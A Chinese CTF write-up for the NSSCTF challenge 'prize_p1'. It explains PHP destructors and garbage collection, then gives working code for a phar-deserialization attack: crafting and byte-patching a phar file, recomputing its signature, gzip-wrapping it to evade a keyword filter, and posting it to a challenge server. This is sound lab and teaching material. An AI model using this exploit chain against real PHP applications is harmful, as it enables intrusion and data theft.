• prize_p1


    这道题东西真的很多,看了大佬的wp学到了不少,几个笔记记录一下。

    一、代码审计

    源码:

    1. highlight_file(__FILE__);
    2. class getflag {
    3. function __destruct() {
    4. echo getenv("FLAG");
    5. }
    6. }
    7. class A {
    8. public $config;
    9. function __destruct() {
    10. if ($this->config == 'w') {
    11. $data = $_POST[0];
    12. if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
    13. die("我知道你想干吗,我的建议是不要那样做。");
    14. }
    15. file_put_contents("./tmp/a.txt", $data);
    16. } else if ($this->config == 'r') {
    17. $data = $_POST[0];
    18. if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
    19. die("我知道你想干吗,我的建议是不要那样做。");
    20. }
    21. echo file_get_contents($data);
    22. }
    23. }
    24. }
    25. if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
    26. die("我知道你想干吗,我的建议是不要那样做。");
    27. }
    28. unserialize($_GET[0]);
    29. throw new Error("那么就从这里开始起航吧");

    首先是一个getflag类,内容就是输出$FLAG ,触发条件为__destruct;第二个类是A,作用有两个,一个是写文件,一个是读文件,写入数据和读取对象都是POST[0]

    然后就是对GET[0]的关键字判断,通过后反序列化GET[0]

    这里因为关键字对flag有过滤,所以无法直接触发getflag类;转眼去看A类,既然有任意内容写入+任意文件读取+,优先考虑phar,phar反序列化的基础利用请读者自行先去了解,这里不做介绍。

    那我们的操作就是先利用A类的写文件功能写入一个phar文件,其中phar文件的metadata部分设置为getflag类,这样phar://读取之后,其中的metadata部分的数据就被反序列化,getflag就生成了,再最后程序结束触发__destruct获取flag

    二、php对象

    __destruct是PHP对象的一个魔术方法,称为析构函数,顾名思义这是当该对象被销毁的时候自动执行的一个函数。其中以下情况会触发__destruct

    1. 主动调用unset($obj)
    2. 主动调用$obj = NULL
    3. 程序自动结束

    我们很容易理解上述情况为什么会调用析构函数,因为这代表该对象要被清空了。除此之外,别忘了PHP拥有垃圾回收Garbage collection即我们常说的GC机制。

    PHP中GC使用引用计数和回收周期自动管理内存对象,那么这时候当我们的对象变成了“垃圾”,就会被GC机制自动回收掉,回收过程中,就会调用函数的__destruct

    刚才我们提到了引用计数,其实当一个对象没有任何饮用的时候,则会被视为“垃圾”,即

    $a = new obj();

    这是一个obj对象,被a变量应用,所以它不是“垃圾”。如果是

    new obj();

    $a = new obj();$a = 2;

    上面都是对象没有被饮用或开始有饮用之后失去了引用的情况,我们可以考虑下列实例代码。

    1. class obj {
    2. function __construct($i) {$this->i = $i; }
    3. function __destruct() { echo $this->i."Destroy...\n"; }
    4. }
    5. new obj('1');
    6. $a = new obj('2');$a = new obj('3');
    7. echo "————————————\n";

    输出应该如下

    1. 1Destroy...
    2. 2Destroy...
    3. ————————————
    4. 3Destroy...

    三、解题

    1、

    而我们这里明显看到倒数第二行有反序列化操作,但是没有任何引用,所以按照上述会在执行完毕之后处于unset状态,会回收这个对象,即执行__destruct,这一步通过调试可能更加清楚的看到执行流程。这样的话,我们便可以直接在这里写入数据。

    O:1:"A":1:{s:6:"config";s:1:"w";}

    这样就是写入文件操作了

    2、

    虽然我们可以写数据了,但是我们需要写什么数据了,显然下面有file_get_contents可以利用,那么我们可以利用phar://协议来进行反序列化。

    生成phar文件:

    1. class getflag{
    2. }
    3. $user = new getflag();
    4. $user = array(0=>$user,1=>null);
    5. $phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
    6. $phar-> startBuffering();
    7. $phar->setStub("GIF89a"); //设置stub
    8. $phar->setMetadata($user); //将对象user写入到metadata中
    9. $phar->addFromString("shell.txt","haha"); //添加压缩文件,文件名字为shell.txt,内容为haha
    10. $phar->stopBuffering();

    (无法生成的话记得修改php.ini中的phar的readonlyoff并去掉这行前边的分号,具体操作百度)

    解释一下为什么有一个array(0=>$user,1=>null)的操作,因为如果我们直接在phar文件的Metadata写getflag对象的话,显然是不能进行反序列化的,因为他反序列化之后会被phar对象的metadata属性引用,不符合unset情况,也就不会直接执行__destruct,所以我们需要用GC来进行执行__destruct

    当phar://反序列化其中的数据时(反序列化时是按顺序执行的),先反出a[0]的数据,也就是a[0]=getflag类,再接着反序列化时,又将a[0]设为了NULL,那就和上述所说的一致了,getflag类被取消了引用,所以会触发__destruct,从而获得flag

    但新的问题又随之产生了,我们在phar中无法生成上述的字符串内容,我们只能生成a:2:{i:0;O:7:"getflag":0:{}i:1;N;}

    而这个不是我们想要的,所以我们把i:1改为i:0,这样就能取消getflag类的引用。

    用010editor打开我们生成的phar文件,一定不要用记事本,不然到最后无法获取flag,因为如果你用记事本修改,实际上不止修改了你的数字,还有后面的签名和签名方法

    3、

     phar文件是修改成功了,但这个时候这个phar是处于损坏状态的,因为我们修改了前面的数据导致后面的签名对不上。这个时候,我们还需要手动计算出这个新phar文件的签名。

    1. from hashlib import sha1
    2. f = open('/test/shell.phar', 'rb').read() # 修改内容后的phar文件
    3. s = f[:-28] # 获取要签名的数据
    4. h = f[-8:] # 获取签名类型以及GBMB标识
    5. newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
    6. open('/test/newpoc.phar', 'wb').write(newf) # 写入新文件

    根据自己的情况改一下路径即可。

    4、

    phar文件是生成好了,接下来就是上传和读取了,因为此时我们的phar文件依旧有明文存在,这里就是getflag,而由源码可知会被检查出来,这里用压缩的方法绕过

    附上最后的exp

    1. import requests
    2. import gzip
    3. import re
    4. url = 'http://1.14.71.254:28016/'
    5. file = open("/test/newpoc.phar", "rb") #打开文件
    6. file_out = gzip.open("/test/phar.zip", "wb+")#创建压缩文件对象
    7. file_out.writelines(file)
    8. file_out.close()
    9. file.close()
    10. requests.post(
    11. url,
    12. params={
    13. 0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'
    14. },
    15. data={
    16. 0: open('/test/phar.zip', 'rb').read()
    17. }
    18. ) # 写入
    19. res = requests.post(
    20. url,
    21. params={
    22. 0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'
    23. },
    24. data={
    25. 0: 'phar://tmp/a.txt'
    26. }
    27. ) # 触发
    28. res.encoding='utf-8'
    29. flag = re.compile('(NSSCTF\{.+?\})').findall(res.text)[0]
    30. print(flag)

    参考链接:[phar反序列化][NSSCTF]prize_p1_Snakin_ya的博客-CSDN博客

    prize1 | bilala's blog (gitee.io)

  • 相关阅读:
    Linux内核有什么之内存管理子系统有什么第一回 —— 引言
    力扣--有效的括号
    Spark SQL
    使用speedtest-cli进行服务器上传和下载速度测试
    向量三重积的等式推导证明
    齐岳定制|Tetrazine-PEG-Fucoidan|四嗪-聚乙二醇-岩藻多糖|四嗪PEG修饰岩藻多糖
    零售门店管理 会员管理系统 零售会员管理系统 零售会员管理体系 门店管理软件 会员管理系统软件
    中国爱尔兰威士忌市场消费状况与销售策略分析报告2022-2028年
    【适合所有群体】云原生从入门到精通(GO、Docker、K8S、微服务)【只此一文,踏入山巅】(持续更新,预计2022年7月底完结)
    js中如何判断浏览器是否被缩放
  • 原文地址:https://blog.csdn.net/m0_60716947/article/details/127557887